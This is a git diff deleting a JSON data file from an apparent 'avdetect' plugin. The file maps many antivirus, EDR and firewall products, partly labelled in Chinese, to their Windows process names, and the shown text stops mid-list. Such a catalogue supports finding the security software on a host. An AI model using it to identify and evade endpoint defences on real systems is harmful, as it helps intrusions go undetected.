diff --git a/plugins/local_backup/avdetect/auto.json b/plugins/local_backup/avdetect/auto.json deleted file mode 100644 index bcab7f8..0000000 --- a/plugins/local_backup/avdetect/auto.json +++ /dev/null @@ -1,2163 +0,0 @@ -{ - "ALYac": { - "processes": [ - "aylaunch.exe", - "ayupdate2.exe", - "AYRTSrv.exe", - "AYAgent.exe" - ], - "url": "https://en.estsecurity.com/" - }, - "AVG": { - "processes": [ - "AVGSvc.exe", - "AVGUI.exe", - "avgwdsvc.exe", - "avg.exe", - "avgaurd.exe", - "avgemc.exe", - "avgrsx.exe", - "avgserv.exe", - "avgw.exe" - ], - "url": "https://www.avg.com/" - }, - "Acronis": { - "processes": [ - "arsm.exe", - "acronis_license_service.exe" - ], - "url": "https://www.acronis.com/" - }, - "Ad-Aware": { - "processes": [ - "AdAwareService.exe", - "Ad-Aware.exe", - "AdAware.exe" - ], - "url": "https://www.adaware.com/" - }, - "AhnLab-V3": { - "processes": [ - "patray.exe", - "V3Svc.exe" - ], - "url": "https://global.ahnlab.com/site/main.do" - }, - "Arcabit": { - "processes": [ - "arcavir.exe", - "arcadc.exe", - "ArcaVirMaster.exe", - "ArcaMainSV.exe", - "ArcaTasksService.exe" - ], - "url": "https://www.arcabit.pl" - }, - "Avast": { - "processes": [ - "ashDisp.exe", - "AvastUI.exe", - "AvastSvc.exe", - "AvastBrowser.exe", - "AfwServ.exe" - ], - "url": "https://www.avast.com" - }, - "Avira AntiVirus(小红伞)": { - "processes": [ - "avcenter.exe", - "avguard.exe", - "avgnt.exe", - "sched.exe" - ], - "url": "https://www.avira.com/" - }, - "Baidu AntiVirus": { - "processes": [ - "BaiduSdSvc.exe", - "BaiduSdTray.exe", - "BaiduSd.exe", - "bddownloader.exe", - "baiduansvx.exe" - ], - "url": "https://anquan.baidu.com/" - }, - "BitDefender": { - "processes": [ - "Bdagent.exe", - "BitDefenderCom.exe", - "vsserv.exe", - "bdredline.exe", - "secenter.exe", - "bdservicehost.exe", - "BITDEFENDER.exe" - ], - "url": "http://www.bitdefender.com/" - }, - "Bkav": { - "processes": [ - "BKavService.exe", - "Bka.exe", - "BkavUtil.exe", - "BLuPro.exe" - ], - "url": "https://www.bkav.com/" - }, - "CAT-QuickHeal": { - "processes": [ - "QUHLPSVC.exe", - "onlinent.exe", - "sapissvc.exe", - "scanwscs.exe" - ], - "url": "https://www.quickheal.com/" - }, - "CMC": { - "processes": [ - "CMCTrayIcon.exe" - ], - "url": "https://cmccybersecurity.com/" - }, - "ClamAV": { - "processes": [ - "freshclam.exe" - ], - "url": "https://www.clamav.net" - }, - "Comodo": { - "processes": [ - "cpf.exe", - "cavwp.exe", - "ccavsrv.exe", - "cmdvirth.exe" - ], - "url": "https://www.comodo.com" - }, - "CrowdStrike Falcon(猎鹰)": { - "processes": [ - "csfalconservice.exe", - "CSFalconContainer.exe" - ], - "url": "https://www.crowdstrike.com" - }, - "Cybereason": { - "processes": [ - "CybereasonRansomFree.exe", - "CybereasonRansomFreeServiceHost.exe", - "CybereasonAV.exe" - ], - "url": "https://www.cybereason.com/" - }, - "Cylance": { - "processes": [ - "CylanceSvc.exe" - ], - "url": "https://www.cylance.com" - }, - "Cyren": { - "processes": [ - "vsedsps.exe", - "vseamps.exe", - "vseqrts.exe" - ], - "url": "http://www.cyren.com/" - }, - "DrWeb": { - "processes": [ - "drwebcom.exe", - "spidernt.exe", - "drwebscd.exe", - "drweb32w.exe", - "dwengine.exes" - ], - "url": "https://www.drweb.com/" - }, - "Elastic Security": { - "processes": [ - "elastic-endpoint.exe", - "elastic-agent.exe", - "agentbeat.exe", - "winlogbeat.exe" - ], - "url": "https://www.elastic.co/endpoint-detection-response" - }, - "ESET-NOD32": { - "processes": [ - "egui.exe", - "ecls.exe", - "ekrn.exe", - "eguiProxy.exe", - "EShaSrv.exe" - ], - "url": "https://www.eset.com/us/home/antivirus/" - }, - "Trend Micro(趋势科技)": { - "processes": [ - "tmpfw.exe", - "tmlisten.exe", - "coreServiceShell.exe", - "coreFrameworkHost.exe", - "uiWatchDog.exe", - "TMLISTEN.exe" - ], - "url": "https://www.trendmicro.com" - }, - "Emsisoft": { - "processes": [ - "a2guard.exe", - "a2free.exe", - "a2service.exe" - ], - "url": "https://www.emsisoft.com/" - }, - "Endgame": { - "processes": [ - "endgame.exe" - ], - "url": "https://www.endgame.com/" - }, - "F-Prot": { - "processes": [ - "F-PROT.exe", - "FProtTray.exe", - "FPAVServer.exe", - "f-stopw.exe", - "f-prot95.exe", - "f-agnt95.exe" - ], - "url": "http://f-prot.com/" - }, - "F-Secure": { - "processes": [ - "f-secure.exe", - "fssm32.exe", - "Fsorsp64.exe", - "fsavgui.exe", - "fameh32.exe", - "fch32.exe", - "fih32.exe", - "fnrb32.exe", - "fsav32.exe", - "fsma32.exe", - "fsmb32.exe" - ], - "url": "https://www.f-secure.com" - }, - "FireEye(火眼)": { - "processes": [ - "xagtnotif.exe", - "xagt.exe" - ], - "url": "https://www.fireeye.com" - }, - "Trellix EDR(McAfee && 火眼)": { - "processes": [ - "macmnsvc.exe", - "macompatsvc.exe", - "masvc.exe", - "mcshield.exe", - "mctray.exe", - "mfeatp.exe", - "mfeensppl.exe", - "mfeesp.exe", - "mfefw.exe", - "mfehcs.exe", - "mfemactl.exe", - "mfemms.exe", - "mfetp.exe", - "mfevtps.exe", - "mfewch.exe", - "updaterui.exe" - ], - "url": "https://www.trellix.com" - }, - "Fortinet(飞塔)": { - "processes": [ - "FortiClient.exe", - "FortiTray.exe", - "FortiScand.exe", - "FortiWF.exe", - "FortiProxy.exe", - "FortiESNAC.exe", - "FortiSSLVPNdaemon.exe", - "FortiTcs.exe", - "FctSecSvr.exe" - ], - "url": "https://fortiguard.com/" - }, - "GData": { - "processes": [ - "AVK.exe", - "avkcl.exe", - "avkpop.exe", - "avkservice.exe", - "GDScan.exe", - "AVKWCtl.exe", - "AVKProxy.exe", - "AVKBackupService.exe" - ], - "url": "https://www.gdatasoftware.com/" - }, - "Ikarus": { - "processes": [ - "guardxservice.exe", - "guardxkickoff.exe" - ], - "url": "https://www.ikarussecurity.com/" - }, - "Jiangmin": { - "processes": [ - "KVFW.exe", - "KVsrvXP.exe", - "KVMonXP.exe", - "KVwsc.exe" - ], - "url": "https://www.jiangmin.com/" - }, - "K7AntiVirus": { - "processes": [ - "K7TSecurity.exe", - "K7TSMain.Exe", - "K7TSUpdT.exe" - ], - "url": "http://viruslab.k7computing.com/" - }, - "Kaspersky(卡巴斯基)": { - "processes": [ - "avp.exe", - "avpcc.exe", - "avpm.exe", - "kavpf.exe", - "kavfs.exe", - "klnagent.exe", - "kavtray.exe", - "kavfswp.exe", - "kaspersky.exe" - ], - "url": "https://www.kaspersky.com" - }, - "Max Secure Software": { - "processes": [ - "SDSystemTray.exe", - "MaxRCSystemTray.exe", - "RCSystemTray.exe", - "MaxAVPlusDM.exe", - "LiveUpdateSD.exe" - ], - "url": "https://www.maxpcsecure.com/" - }, - "Malwarebytes": { - "processes": [ - "MBAMService.exe", - "mbam.exe", - "mbamtray.exe" - ], - "url": "https://www.malwarebytes.com/" - }, - "McAfee(迈克菲-可能为Trellix)": { - "processes": [ - "Mcshield.exe", - "Tbmon.exe", - "Frameworkservice.exe", - "firesvc.exe", - "firetray.exe", - "hipsvc.exe", - "mfevtps.exe", - "mcafeefire.exe", - "shstat.exe", - "vstskmgr.exe", - "engineserver.exe", - "alogserv.exe", - "avconsol.exe", - "cmgrdian.exe", - "cpd.exe", - "mcmnhdlr.exe", - "mcvsshld.exe", - "mcvsrte.exe", - "mghtml.exe", - "mpfservice.exe", - "mpfagent.exe", - "mpftray.exe", - "vshwin32.exe", - "vsstat.exe", - "guarddog.exe", - "mfeann.exe", - "udaterui.exe", - "naprdmgr.exe", - "mctray.exe", - "fcagate.exe", - "fcag.exe", - "fcags.exe", - "fcagswd.exe", - "macompatsvc.exe", - "masvc.exe", - "mcamnsvc.exe", - "mctary.exe", - "mfecanary.exe", - "mfeconsole.exe", - "mfeesp.exe", - "mfefire.exe", - "mfefw.exe", - "mfemms.exe", - "mfetp.exe", - "mfewc.exe", - "mfewch.exe" - ], - "url": "https://www.mcafee.com/en-us" - }, - "Microsoft Security Essentials": { - "processes": [ - "MsMpEng.exe", - "msseces.exe", - "mssecess.exe", - "emet_agent.exe", - "emet_service.exe", - "drwatson.exe", - "MpCmdRun.exe", - "NisSrv.exe", - "MsSense.exe", - "MSASCui.exe", - "MSASCuiL.exe", - "SecurityHealthService.exe" - ], - "url": "https://support.microsoft.com/en-us/help/17150/windows-7-what-is-microsoft-security-essentials" - }, - "NANO-Antivirus": { - "processes": [ - "nanoav.exe", - "nanoav64.exe", - "nanoreport.exe", - "nanoreportc.exe", - "nanoreportc64.exe", - "nanorst.exe", - "nanosvc.exe" - ], - "url": "https://nano-av.com/" - }, - "Palo Alto Networks": { - "processes": [ - "PanInstaller.exe" - ], - "url": "https://www.paloaltonetworks.com/" - }, - "Panda Security": { - "processes": [ - "remupd.exe", - "apvxdwin.exe", - "pavproxy.exe", - "pavsched.exe" - ], - "url": "https://www.pandasecurity.com/" - }, - "Qihoo-360": { - "processes": [ - "360sd.exe", - "360tray.exe", - "ZhuDongFangYu.exe", - "360rp.exe", - "360rps.exe", - "360safe.exe", - "360safebox.exe", - "QHActiveDefense.exe", - "360skylarsvc.exe", - "LiveUpdate360.exe" - ], - "url": "https://sd.360.cn/" - }, - "Rising": { - "processes": [ - "RavMonD.exe", - "rfwmain.exe", - "RsMgrSvc.exe", - "RavMon.exe" - ], - "url": "http://antivirus.rising.com.cn/" - }, - "SUPERAntiSpyware": { - "processes": [ - "superantispyware.exe", - "sascore.exe", - "SAdBlock.exe", - "sabsvc.exe" - ], - "url": "http://www.superadblocker.com/" - }, - "SecureAge APEX": { - "processes": [ - "UniversalAVService.exe", - "EverythingServer.exe", - "clamd.exe" - ], - "url": "https://www.secureage.com/" - }, - "Sophos AV": { - "processes": [ - "SavProgress.exe", - "icmon.exe", - "SavMain.exe", - "SophosUI.exe", - "SophosFS.exe", - "SophosHealth.exe", - "SophosSafestore64.exe", - "SophosCleanM.exe", - "SophosFileScanner.exe", - "SophosNtpService.exe", - "SophosOsquery.exe", - "Sophos UI.exe" - ], - "url": "https://www.sophos.com/" - }, - "TACHYON": { - "processes": [], - "url": "https://www.tachyonlab.com/en/index.html" - }, - "Tencent": { - "processes": [ - "QQPCRTP.exe", - "QQPCTray.exe", - "QQPCMgr.exe", - "QQPCNetFlow.exe", - "QQPCRealTimeSpeedup.exe" - ], - "url": "https://guanjia.qq.com" - }, - "TotalDefense": { - "processes": [ - "AMRT.exe", - "SWatcherSrv.exe", - "Prd.ManagementConsole.exe" - ], - "url": "https://www.totaldefense.com" - }, - "Trapmine": { - "processes": [ - "TrapmineEnterpriseService.exe", - "TrapmineEnterpriseConfig.exe", - "TrapmineDeployer.exe", - "TrapmineUpgradeService.exe" - ], - "url": "https://trapmine.com/" - }, - "TrendMicro": { - "processes": [ - "TMBMSRV.exe", - "ntrtscan.exe", - "Pop3Trap.exe", - "WebTrap.exe", - "PccNTMon.exe" - ], - "url": "http://careers.trendmicro.com.cn/" - }, - "VIPRE": { - "processes": [ - "SBAMSvc.exe", - "VipreEdgeProtection.exe", - "SBAMTray.exe" - ], - "url": "https://www.vipre.com" - }, - "ViRobot": { - "processes": [ - "vrmonnt.exe", - "vrmonsvc.exe", - "Vrproxyd.exe" - ], - "url": "http://www.hauri.net/" - }, - "Webroot": { - "processes": [ - "npwebroot.exe", - "WRSA.exe", - "spysweeperui.exe" - ], - "url": "https://www.webroot.com/us/en" - }, - "Yandex": { - "processes": [ - "Yandex.exe", - "YandexDisk.exe", - "yandesk.exe" - ], - "url": "https://yandex.com/support/common/security/antiviruses-free.html" - }, - "Zillya": { - "processes": [ - "zillya.exe", - "ZAVAux.exe", - "ZAVCore.exe" - ], - "url": "https://zillya.com" - }, - "ZoneAlarm": { - "processes": [ - "vsmon.exe", - "zapro.exe", - "zonealarm.exe" - ], - "url": "https://www.zonealarm.com/" - }, - "Zoner": { - "processes": [ - "ZPSTray.exe" - ], - "url": "https://zonerantivirus.com/" - }, - "eGambit": { - "processes": [ - "dasc.exe", - "memscan64.exe", - "dastray.exe" - ], - "url": "https://egambit.app/en/" - }, - "eScan": { - "processes": [ - "consctl.exe", - "mwaser.exe", - "avpmapp.exe" - ], - "url": "https://www.escanav.com/" - }, - "Lavasoft": { - "processes": [ - "AAWTray.exe", - "LavasoftTcpService.exe", - "AdAwareTray.exe", - "WebCompanion.exe", - "WebCompanionInstaller.exe", - "adawarebp.exe", - "ad-watch.exe" - ], - "url": "https://www.lavasoft.com/" - }, - "The Cleaner": { - "processes": [ - "cleaner8.exe" - ], - "url": "" - }, - "VBA32": { - "processes": [ - "vba32lder.exe" - ], - "url": "http://www.anti-virus.by/en/index.shtml" - }, - "Mongoosa": { - "processes": [ - "MongoosaGUI.exe", - "mongoose.exe" - ], - "url": "https://www.securitymongoose.com/" - }, - "Coranti2012": { - "processes": [ - "CorantiControlCenter32.exe" - ], - "url": "https://www.coranti.com" - }, - "UnThreat": { - "processes": [ - "UnThreat.exe", - "utsvc.exe" - ], - "url": "https://softplanet.com/UnThreat-AntiVirus" - }, - "Shield Antivirus": { - "processes": [ - "CKSoftShiedAntivirus4.exe", - "shieldtray.exe" - ], - "url": "https://shieldapps.com/supportmain/shield-antivirus-support/" - }, - "VIRUSfighter": { - "processes": [ - "AVWatchService.exe", - "vfproTray.exe" - ], - "url": "https://www.spamfighter.com/VIRUSfighter/" - }, - "Immunet": { - "processes": [ - "iptray.exe" - ], - "url": "https://www.immunet.com/index" - }, - "PSafe": { - "processes": [ - "PSafeSysTray.exe", - "PSafeCategoryFinder.exe", - "psafesvc.exe" - ], - "url": "https://www.psafe.com/" - }, - "nProtect": { - "processes": [ - "nspupsvc.exe", - "Npkcmsvc.exe", - "npnj5Agent.exe" - ], - "url": "http://nos.nprotect.com/" - }, - "Spyware Terminator": { - "processes": [ - "SpywareTerminatorShield.exe", - "SpywareTerminator.exe" - ], - "url": "http://www.spywareterminator.com/Default.aspx" - }, - "Norton(赛门铁克)": { - "processes": [ - "ccSvcHst.exe", - "rtvscan.exe", - "ccapp.exe", - "NPFMntor.exe", - "ccRegVfy.exe", - "vptray.exe", - "iamapp.exe", - "nav.exe", - "navapw32.exe", - "navapsvc.exe", - "nisum.exe", - "nmain.exe", - "nprotect.exe", - "smcGui.exe", - "ns.exe", - "nortonsecurity.exe" - ], - "url": "https://us.norton.com/" - }, - "Norton V25(Avast)": { - "processes": [ - "afwServ.exe", - "aswEngSrv.exe", - "aswidsagent.exe", - "AvDump.exe", - "nllToolsSvc.exe", - "NortonSvc.exe", - "wsc_proxy.exe" - ], - "url": "https://us.norton.com/" - }, - "Symantec(赛门铁克)": { - "processes": [ - "ccSetMgr.exe", - "ccapp.exe", - "vptray.exe", - "ccpxysvc.exe", - "cfgwiz.exe", - "smc.exe", - "symproxysvc.exe", - "vpc32.exe", - "lsetup.exe", - "luall.exe", - "lucomserver.exe", - "sbserv.exe", - "ccEvtMgr.exe", - "smcGui.exe", - "snac.exe", - "SymCorpUI.exe", - "sepWscSvc64.exe" - ], - "url": "http://www.symantec.com/" - }, - "可牛杀毒": { - "processes": [ - "knsdtray.exe" - ], - "url": "https://baike.baidu.com/item/%E5%8F%AF%E7%89%9B%E5%85%8D%E8%B4%B9%E6%9D%80%E6%AF%92%E8%BD%AF%E4%BB%B6" - }, - "流量矿石": { - "processes": [ - "Miner.exe" - ], - "url": "https://jiaoyi.yunfan.com/" - }, - "SafeDog(安全狗)": { - "processes": [ - "safedog.exe", - "SafeDogGuardCenter.exe", - "SafeDogSiteIIS.exe", - "SafeDogTray.exe", - "SafeDogServerUI.exe", - "SafeDogSiteApache.exe", - "CloudHelper.exe", - "SafeDogUpdateCenter.exe" - ], - "url": "http://www.safedog.cn/" - }, - "木马克星": { - "processes": [ - "parmor.exe", - "Iparmor.exe" - ], - "url": "https://baike.baidu.com/item/%E6%9C%A8%E9%A9%AC%E5%85%8B%E6%98%9F/2979824?fr=aladdin" - }, - "贝壳云安全": { - "processes": [ - "beikesan.exe" - ], - "url": "" - }, - "木马猎手": { - "processes": [ - "TrojanHunter.exe" - ], - "url": "" - }, - "巨盾网游安全盾": { - "processes": [ - "GG.exe" - ], - "url": "" - }, - "绿鹰安全精灵": { - "processes": [ - "adam.exe" - ], - "url": "https://baike.baidu.com/item/%E7%BB%BF%E9%B9%B0%E5%AE%89%E5%85%A8%E7%B2%BE%E7%81%B5" - }, - "超级巡警": { - "processes": [ - "AST.exe" - ], - "url": "" - }, - "墨者安全专家": { - "processes": [ - "ananwidget.exe" - ], - "url": "" - }, - "风云防火墙": { - "processes": [ - "FYFireWall.exe" - ], - "url": "" - }, - "微点主动防御": { - "processes": [ - "MPMon.exe" - ], - "url": "http://www.micropoint.com.cn/" - }, - "天网防火墙": { - "processes": [ - "pfw.exe" - ], - "url": "" - }, - "D 盾": { - "processes": [ - "D_Safe_Manage.exe", - "d_manage.exe" - ], - "url": "http://www.d99net.net/" - }, - "云锁": { - "processes": [ - "yunsuo_agent_service.exe", - "yunsuo_agent_daemon.exe" - ], - "url": "https://www.yunsuo.com.cn/" - }, - "护卫神": { - "processes": [ - "HwsPanel.exe", - "hws_ui.exe", - "hws.exe", - "hwsd.exe", - "HwsHostPanel.exe", - "HwsHostMaster.exe" - ], - "url": "https://www.hws.com/" - }, - "火绒安全": { - "processes": [ - "hipstray.exe", - "wsctrl.exe", - "usysdiag.exe", - "HipsDaemon.exe", - "HipsLog.exe", - "HipsMain.exe", - "wsctrlsvc.exe" - ], - "url": "https://www.huorong.cn/" - }, - "网络病毒克星": { - "processes": [ - "WEBSCANX.exe" - ], - "url": "" - }, - "SPHINX防火墙": { - "processes": [ - "SPHINX.exe" - ], - "url": "" - }, - "奇安信天擎": { - "processes": [ - "TQClient.exe", - "TQTray.exe", - "QaxEngManager.exe", - "TQDefender.exe" - ], - "url": "https://www.qianxin.com/product/detail/pid/330" - }, - "H+BEDV Datentechnik GmbH": { - "processes": [ - "avwin.exe", - "avwupsrv.exe" - ], - "url": "http://www.free-av.com/" - }, - "IBM ISS Proventia": { - "processes": [ - "blackd.exe", - "rapapp.exe" - ], - "url": "" - }, - "eEye Digital Security": { - "processes": [ - "eeyeevnt.exe", - "blink.exe" - ], - "url": "" - }, - "TamoSoft": { - "processes": [ - "cv.exe", - "ent.exe" - ], - "url": "https://www.tamos.com/" - }, - "Kerio Personal Firewall": { - "processes": [ - "persfw.exe", - "wrctrl.exe" - ], - "url": "http://www.kerio.com/" - }, - "Simplysup": { - "processes": [ - "Trjscan.exe" - ], - "url": "https://www.simplysup.com/" - }, - "PC Tools AntiVirus": { - "processes": [ - "PCTAV.exe", - "pctsGui.exe" - ], - "url": "http://www.pctools.com" - }, - "VirusBuster Professional": { - "processes": [ - "vbcmserv.exe" - ], - "url": "http://www.virusbuster.hu" - }, - "ClamWin": { - "processes": [ - "ClamTray.exe", - "clamscan.exe" - ], - "url": "http://www.clamwin.com/" - }, - "安天智甲": { - "processes": [ - "kxetray.exe", - "kscan.exe", - "AMediumManager.exe", - "kismain.exe" - ], - "url": "https://antiy.cn/" - }, - "CMC Endpoint Security": { - "processes": [ - "CMCNECore.exe", - "cmcepagent.exe", - "cmccore.exe", - "CMCLog.exe", - "CMCFMon.exe" - ], - "url": "https://cmccybersecurity.com/giai-phap/" - }, - "金山毒霸": { - "processes": [ - "kxetray.exe", - "kxescore.exe", - "kupdata.exe", - "kwsprotect64.exe", - "kislive.exe", - "knewvip.exe", - "kscan.exe", - "kxecenter.exe", - "kxemain.exe", - "KWatch.exe", - "KSafeSvc.exe", - "KSafeTray.exe" - ], - "url": "http://www.ijinshan.com/" - }, - "Agnitum outpost (Outpost Firewall)": { - "processes": [ - "outpost.exe", - "acs.exe" - ], - "url": "https://agnitum-outpost-security-suite.en.softonic.com/" - }, - "Cynet": { - "processes": [ - "CynetLauncher.exe", - "CynetDS.exe", - "CynetEPS.exe", - "CynetMS.exe", - "CynetAR.exe", - "CynetGW.exe", - "CynetSD64.exe" - ], - "url": "https://www.cynet.com/" - }, - "金山网盾": { - "processes": [ - "KSWebShield.exe" - ], - "url": "" - }, - "G Data安全软件客户端": { - "processes": [ - "AVK.exe" - ], - "url": "" - }, - "金山网镖": { - "processes": [ - "kpfwtray.exe" - ], - "url": "" - }, - "在扫1433": { - "processes": [ - "1433.exe" - ], - "url": "" - }, - "在爆破": { - "processes": [ - "DUB.exe" - ], - "url": "" - }, - "发现S-U": { - "processes": [ - "ServUDaemon.exe" - ], - "url": "" - }, - "百度卫士": { - "processes": [ - "bddownloader.exe", - "baiduSafeTray.exe" - ], - "url": "" - }, - "百度卫士-主进程": { - "processes": [ - "baiduansvx.exe" - ], - "url": "" - }, - "已知杀软进程,名称暂未收录": { - "processes": [ - "scan32.exe", - "mcscript.exe", - "cleanup.exe", - "cmdagent.exe", - "frminst.exe", - "mcscript_inuse.exe", - "_avp32.exe", - "_avpcc.exe", - "_avpm.exe", - "aAvgApi.exe", - "ackwin32.exe", - "advxdwin.exe", - "agentsvr.exe", - "agentw.exe", - "alertsvc.exe", - "alevir.exe", - "amon9x.exe", - "anti-trojan.exe", - "antivirus.exe", - "ants.exe", - "apimonitor.exe", - "aplica32.exe", - "arr.exe", - "atcon.exe", - "atguard.exe", - "atro55en.exe", - "atupdater.exe", - "atwatch.exe", - "au.exe", - "aupdate.exe", - "auto-protect.nav80try.exe", - "autodown.exe", - "autotrace.exe", - "autoupdate.exe", - "ave32.exe", - "avgcc32.exe", - "avgctrl.exe", - "avgserv9.exe", - "avkpop.exe", - "avkserv.exe", - "avkservice.exe", - "avltmain.exe", - "avnt.exe", - "avp32.exe", - "avpdos32.exe", - "avptc32.exe", - "avpupd.exe", - "avsched32.exe", - "avsynmgr.exe", - "avwin95.exe", - "avwinnt.exe", - "avwupd.exe", - "avwupd32.exe", - "avxmonitor9x.exe", - "avxmonitornt.exe", - "avxquar.exe", - "backweb.exe", - "bargains.exe", - "bd_professional.exe", - "beagle.exe", - "belt.exe", - "bidef.exe", - "bidserver.exe", - "bipcp.exe", - "bipcpevalsetup.exe", - "bisp.exe", - "blackice.exe", - "blss.exe", - "bootconf.exe", - "bootwarn.exe", - "borg2.exe", - "bpc.exe", - "brasil.exe", - "bs120.exe", - "bundle.exe", - "bvt.exe", - "cdp.exe", - "cfd.exe", - "cfiadmin.exe", - "cfiaudit.exe", - "cfinet.exe", - "cfinet32.exe", - "claw95.exe", - "claw95cf.exe", - "clean.exe", - "cleaner.exe", - "cleaner3.exe", - "cleanpc.exe", - "click.exe", - "cmesys.exe", - "cmon016.exe", - "connectionmonitor.exe", - "cpf9x206.exe", - "cpfnt206.exe", - "ctrl.exe", - "cwnb181.exe", - "cwntdwmo.exe", - "datemanager.exe", - "dcomx.exe", - "defalert.exe", - "defscangui.exe", - "defwatch.exe", - "deputy.exe", - "divx.exe", - "dllcache.exe", - "dllreg.exe", - "doors.exe", - "dpf.exe", - "dpfsetup.exe", - "dpps2.exe", - "drweb32.exe", - "drwebupw.exe", - "dssagent.exe", - "dvp95.exe", - "dvp95_0.exe", - "ecengine.exe", - "efpeadm.exe", - "emsw.exe", - "ent.exe", - "esafe.exe", - "escanhnt.exe", - "escanv95.exe", - "espwatch.exe", - "ethereal.exe", - "etrustcipe.exe", - "evpn.exe", - "exantivirus-cnet.exe", - "exe.avxw.exe", - "expert.exe", - "explore.exe", - "fast.exe", - "findviru.exe", - "firewall.exe", - "fp-win.exe", - "fp-win_trial.exe", - "fprot.exe", - "frw.exe", - "fsaa.exe", - "fsav.exe", - "fsav530stbyb.exe", - "fsav530wtbyb.exe", - "fsav95.exe", - "fsgk32.exe", - "fsm32.exe", - "gator.exe", - "gbmenu.exe", - "gbpoll.exe", - "generics.exe", - "gmt.exe", - "guard.exe", - "hacktracersetup.exe", - "hbinst.exe", - "hbsrv.exe", - "hotactio.exe", - "hotpatch.exe", - "htlog.exe", - "htpatch.exe", - "hwpe.exe", - "hxdl.exe", - "hxiul.exe", - "iamserv.exe", - "iamstats.exe", - "ibmasn.exe", - "ibmavsp.exe", - "icload95.exe", - "icloadnt.exe", - "icmon.exe", - "icsupp95.exe", - "icsuppnt.exe", - "idle.exe", - "iedll.exe", - "iedriver.exe", - "iface.exe", - "ifw2000.exe", - "inetlnfo.exe", - "infus.exe", - "infwin.exe", - "init.exe", - "intdel.exe", - "intren.exe", - "iomon98.exe", - "istsvc.exe", - "jammer.exe", - "jdbgmrg.exe", - "jedi.exe", - "kavlite40eng.exe", - "kavpers40eng.exe", - "kazza.exe", - "keenvalue.exe", - "kerio-pf-213-en-win.exe", - "kerio-wrl-421-en-win.exe", - "kerio-wrp-421-en-win.exe", - "kernel32.exe", - "killprocesssetup161.exe", - "launcher.exe", - "ldnetmon.exe", - "ldpro.exe", - "ldpromenu.exe", - "ldscan.exe", - "lnetinfo.exe", - "loader.exe", - "localnet.exe", - "lockdown.exe", - "lockdown2000.exe", - "lookout.exe", - "lordpe.exe", - "luau.exe", - "luinit.exe", - "luspt.exe", - "mapisvc32.exe", - "mcagent.exe", - "mctool.exe", - "mcupdate.exe", - "mfin32.exe", - "mfw2en.exe", - "mfweng3.02d30.exe", - "mgavrtcl.exe", - "mgavrte.exe", - "mgui.exe", - "minilog.exe", - "mmod.exe", - "monitor.exe", - "moolive.exe", - "mostat.exe", - "mrflux.exe", - "msapp.exe", - "msbb.exe", - "msblast.exe", - "mscache.exe", - "msccn32.exe", - "mscman.exe", - "msconfig.exe", - "msdm.exe", - "msdos.exe", - "msiexec16.exe", - "msinfo32.exe", - "mslaugh.exe", - "msmgt.exe", - "msmsgri32.exe", - "mssmmc32.exe", - "mssys.exe", - "msvxd.exe", - "mu0311ad.exe", - "mwatch.exe", - "n32scanw.exe", - "navap.navapsvc.exe", - "navdx.exe", - "navlu32.exe", - "navnt.exe", - "navstub.exe", - "navw32.exe", - "navwnt.exe", - "nc2000.exe", - "ncinst4.exe", - "ndd32.exe", - "neomonitor.exe", - "neowatchlog.exe", - "netarmor.exe", - "netd32.exe", - "netinfo.exe", - "netmon.exe", - "netscanpro.exe", - "netspyhunter-1.2.exe", - "netstat.exe", - "netutils.exe", - "nisserv.exe", - "nod32.exe", - "normist.exe", - "norton_internet_secu_3.0_407.exe", - "notstart.exe", - "npf40_tw_98_nt_me_2k.exe", - "npfmessenger.exe", - "npscheck.exe", - "npssvc.exe", - "nsched32.exe", - "nssys32.exe", - "nstask32.exe", - "nsupdate.exe", - "nt.exe", - "ntvdm.exe", - "ntxconfig.exe", - "nui.exe", - "nupgrade.exe", - "nvarch16.exe", - "nvc95.exe", - "nvsvc32.exe", - "nwinst4.exe", - "nwservice.exe", - "nwtool16.exe", - "ollydbg.exe", - "onsrvr.exe", - "optimize.exe", - "ostronet.exe", - "otfix.exe", - "outpostinstall.exe", - "outpostproinstall.exe", - "padmin.exe", - "panixk.exe", - "patch.exe", - "pavcl.exe", - "pavw.exe", - "pccwin98.exe", - "pcfwallicon.exe", - "pcip10117_0.exe", - "pcscan.exe", - "pdsetup.exe", - "periscope.exe", - "perswf.exe", - "pf2.exe", - "pfwadmin.exe", - "pgmonitr.exe", - "pingscan.exe", - "platin.exe", - "poproxy.exe", - "popscan.exe", - "portdetective.exe", - "portmonitor.exe", - "powerscan.exe", - "ppinupdt.exe", - "pptbc.exe", - "ppvstop.exe", - "prizesurfer.exe", - "prmt.exe", - "prmvr.exe", - "procdump.exe", - "processmonitor.exe", - "procexplorerv1.0.exe", - "programauditor.exe", - "proport.exe", - "protectx.exe", - "pspf.exe", - "purge.exe", - "qconsole.exe", - "qserver.exe", - "rav7.exe", - "rav7win.exe", - "rav8win32eng.exe", - "ray.exe", - "rb32.exe", - "rcsync.exe", - "realmon.exe", - "reged.exe", - "regedit.exe", - "regedt32.exe", - "rescue.exe", - "rescue32.exe", - "rrguard.exe", - "rshell.exe", - "rtvscn95.exe", - "rulaunch.exe", - "run32dll.exe", - "rundll.exe", - "rundll16.exe", - "ruxdll32.exe", - "safeweb.exe", - "sahagent.exe", - "save.exe", - "savenow.exe", - "sc.exe", - "scam32.exe", - "scan95.exe", - "scanpm.exe", - "scrscan.exe", - "serv95.exe", - "setup_flowprotector_us.exe", - "setupvameeval.exe", - "sfc.exe", - "sgssfw32.exe", - "sh.exe", - "shellspyinstall.exe", - "shn.exe", - "showbehind.exe", - "sms.exe", - "smss32.exe", - "soap.exe", - "sofi.exe", - "sperm.exe", - "spf.exe", - "spoler.exe", - "spoolcv.exe", - "spoolsv32.exe", - "spyxx.exe", - "srexe.exe", - "srng.exe", - "ss3edit.exe", - "ssg_4104.exe", - "ssgrate.exe", - "st2.exe", - "start.exe", - "stcloader.exe", - "supftrl.exe", - "support.exe", - "supporter5.exe", - "svchostc.exe", - "svchosts.exe", - "sweep95.exe", - "sweepnet.sweepsrv.sys.swnetsup.exe", - "symtray.exe", - "sysedit.exe", - "sysupd.exe", - "taskmg.exe", - "taskmo.exe", - "taumon.exe", - "tbscan.exe", - "tc.exe", - "tca.exe", - "tcm.exe", - "tds-3.exe", - "tds2-98.exe", - "tds2-nt.exe", - "teekids.exe", - "tfak.exe", - "tfak5.exe", - "tgbob.exe", - "titanin.exe", - "titaninxp.exe", - "tracert.exe", - "trickler.exe", - "trjsetup.exe", - "trojantrap3.exe", - "tsadbot.exe", - "tvmd.exe", - "tvtmd.exe", - "undoboot.exe", - "updat.exe", - "update.exe", - "upgrad.exe", - "utpost.exe", - "vbcons.exe", - "vbust.exe", - "vbwin9x.exe", - "vbwinntw.exe", - "vcsetup.exe", - "vet32.exe", - 